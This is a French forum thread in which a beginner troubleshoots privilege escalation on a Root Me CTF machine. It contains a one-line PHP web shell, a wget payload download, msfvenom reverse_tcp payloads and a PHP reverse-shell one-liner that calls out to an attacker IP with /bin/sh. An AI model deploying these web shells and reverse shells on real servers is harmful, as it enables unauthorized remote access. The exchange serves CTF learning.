[Résolu] Besoin d'aide: Escalade de privilléges Via Backdoor php ( Quelle alternative a chmod ? )

[Unamed]

Bonsoir alors je suis nouveau ! Ma présentation > ICI <

Bon donc voila je vous viens vers vous car je suis bloquer sur un CTF depuit plusieur jours.. (ROOT ME)

>Donc un server web tourne sur la machine, j'ai trouver et exploit une SQL j'ai recup le login/pass de l'admin
je peu donc ajouter une page sur la quelle j'integre une backdoor php..
Le problem c'est que les commandes son executer en tant que "apache"..

> Je crée donc plusieurs payloads avec msfvenom "/windows/meterpreter/reverse_tcp" > dl.sh et dl.elf que je place dans /var/www/html/

>Je démare mon server apache et je fait un

wget MonAdressIp/dl.sh > dl.sh

(depuit la backdoor)

Pour l'instant tout roule le fichier ce DL .. Mais au moment de lancer le paylaod rien ne ce passe :/ avec l'un comme avec l'autre..

Je précise quelques points :
J'ai chmod +x le payload avant de le lancer EDIT: aprés vérification j'ai pas les droits pour Chmod.. Du coup une idée pour outrepasser ca ?
Je suis co derrière un hotspot mais j'ai deja utiliser des payloads a distance avec succés
J'ai bien rentrer mon adresse ip public a la création du payload
J'ai bien un handler en ecoute avant d'executer mon payload
Pas de VPN
Pas de TOR

Pour finir j'ai tester sur une autre VM (Metasploitable2) sur laquelle j'avais un rlogin et pareil le payloads ne marche pas :/
A l'heure ou j'écrie je telecharge cette VM pour tester ca en local..

Donc si vous avez des idées sur le pourquoi ET/OU si vous avez d'autres idées pour escalader les priviléges via ma backdoor php !
( un parfeu..? je devrais peut etre faire un "scan d'exfiltration" ? )


Voila, Merci d'avance !

[Krisscool]

Hello

Si "rien ne se passe" ce n'est sans doute pas un souci de droit d'exec de ta charge, sinon tu serais au courant, genre :

unable to execute ./dl.sh: Permission denied

Comment as-tu choisi l'exploit que tu essayes de lancer sur la cible ? (Versions, services, ...?)
Quelle vuln essayes-tu d'exploiter sur la cible ? (CVE, ...?)
Avec quel exploit ?
Tu utilises un meterpreter pour windows, et j'ai l'impression que ta cible est un serveur linux
Tu utilise un reverse_tcp : as-tu fait la redirection de port sur ton routeur pour permettre à la cible de se connecter à ton listener ?

Le serveur sur lequel tu essayes d’exécuter ton exploit n'est peut être tout simplement pas vulnérable à cet exploit en particulier (et même si t'avais l'impression que ça collait niveau versions, il est peut être patché manuellement / ou via repo backport)

Du coup :
- Essayer d'exploiter une autre vulnérabilité
- Essayer de fouiller du coté des défauts de configuration, plutôt que du coté de services exploitables (avec l’excellent LinuxPrivChecker.py par exemple, qui permet de ne rien oublier).

./Kriss

[Unamed]

Salut krisscool ! et Merci de ta reponse si rapide !

Alors je n'utilise aucun exploit comme j'ai dit j'utilise une backdoor en php que j'ai crée sur le site grace au logs de l'admin (trouver via une SQL )
donc je n'est pas de "retour" text sur un chmod...

( j'ai pourtant un retour pour ls -l Ou cat )

(backdoor genre http://Moniste/Files1/Files2/backdoo...cmd=MACOMMANDE)

<?php system($_GET["cmd"]); ?>

-Mais je n'est pas les droits pour Chmod j'ai verifier.. :/ les droits de dl.elf et dl.sh > -rw---- et ca bouge pas :/

-J'utilise bien un payload pour linux "linux/x86/..." j'avais fait une faute de Copier / coller

Pour le NAT je suis dériere un hotspot qui est en.. je me rapel plus le nom (diffuseur?) mais il diffuse a toute les machines vue que de toute facon gérer le NAT d'un hotsot me semble impossible :/

-J'ai quand méme vérifier, j'ai donc tester avec telnet mon handler recoit l'info (extrusion port 4444 OK)
-Et j'ai deja utiliser un payload qui "traverser" la 4G coté victime et mon hotspot coté attaquant avec succés)

LinuxPrivChecker.py ? je vais voir sur github je cherche justement un script dans ce genre !

Pour ce qui est des autres vulns j'ai deja "rooter" cette machine, le but n'est pas de la root mais de reussir a executer mon payload via ma backdoor php


Voila j'ai également tester plusieurs methodes pour Chmod.. sans succés :/
Je commence des tests sur un autre CTF sur lequelle j'ai un Rlogin ( donc une console ) et je revient vous voir !

Amicalement, Unamed !

[Krisscool]

Elle est un peu reloue a utiliser ta backdoor T'as pas moyen de faire monter un reverse shell sur le serveur pour te connecter direct vers/avec ton listener et avoir un shell interractif avec le user apache ? A partir de là tu peux bosser de manière vraiment confortable sur la privesc.

Reverse_shell php :

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 

Ou mieux si tu peux uploader du contenu sur le serveur (tu disais pouvoir créer une page) : http://pentestmonkey.net/tools/php-r...ell-1.0.tar.gz
Ou, que j'aime beaucoup : Weevely

Si tu veux m'envoyer le nom de la machine (CTF) en MP (no spoil ^^) ya des chances pour que je l'ai déjà faite, je checkerai mes notes : ce sera plus simple de t'aiguiller avec du concret

[Unamed]

Yo krisscoool !

Alors oui ma backdoor est trés basic, je début en php héhé
Pour le reverse shell c'est pour ca que j'ai uploader un payload metasploit mais j'arrive pas a l'executer..

Je vais tester ton reverse shelle php et oui je peu crée une page je vais ausssi regarder le fichier php =) ! weevely ? c'est quoi ? qui ?

Je te MP le CTF =) !

[Unamed]

Je n'arrive a faire fonctioner ni Weevely Ni les deux reverse shell que tu as link...

J'ai remarqué que les pages que je crée non pas les méme droits que les pages deja présentent:

Weevely: -rw-r--r-- 1 apache apache0 May 13 11:32 wee.php

Le php_reverse_shell: -rw-r--r-- 1 apache apache 0 May 13 11:23 shel.php

Ma backdoor "toute pourrie" crée via l'interface du site: -rw-r--r-- 1 apache apache0 May 13 11:23 backdoor.php

Comparer a la page home.php qui est deja présente: -rwxrwxrwx 1 andy andy 215 May 13 10:19 home.php

Je vois bien que le propiétaire n'est pas le méme.. Peut etre me faudrait il les droit de andy ?

Cela aurais t-il un lien :/ ? Seul ma premiere backdoor marche..

-Pour ce qui est de la page php dont tu as mis le lien je l'est bien modifier pour mes conditions... ( IP / PORT )

-Pour weevly j'ai crée une backdoor que j'ai upload sur la CTF via ma premiére backdoor en utilisant wget.. seulement impossible de me connecter :/

-Je suis casiment sur que c'est un problem de droits car j'arrive a joindre mon Handler avec un telnet MonIp 4444...



Merci encore pour tes réponses krisscool !


PS: je n'arrive pas non plus a mettre netcat en ecoute...

EDIT2: Le souci vien bien des droits car sur ma VM j'ai du utiliser sudo pour chmod mon payload suite a quoi il a fonctionné ( en local )

KRISSCOOL >> Le reverse_shell_php ( la page toute faite ) a besoin des droits d'execution ?

[Nilrem]

[quote]J'ai chmod +x le payload avant de le lancer EDIT: aprés vérification j'ai pas les droits pour Chmod.. Du coup une idée pour outrepasser ca ?[quote]

tu a essayé de lancé l'exécution depuis php ?

http://php.net/manual/en/function.exec.php

[Unamed]

Salut Nilrem, oui j'utiliser une backdoor toute simple en php.. :

<?php system($_GET["cmd"]); ?>

Mais il est vrai que ce n'est pas ni facile a utiliser.. ni pas pratique ^^, c'est bien pour upload une plus grosse backdoor... .
Je me suis maintenant tourner vers weevely sur les conseil de Kriiscool ! qui est beaucoup plus simple et dispose de nombreuses options simpas !




Voila, Amicalement, Unamed !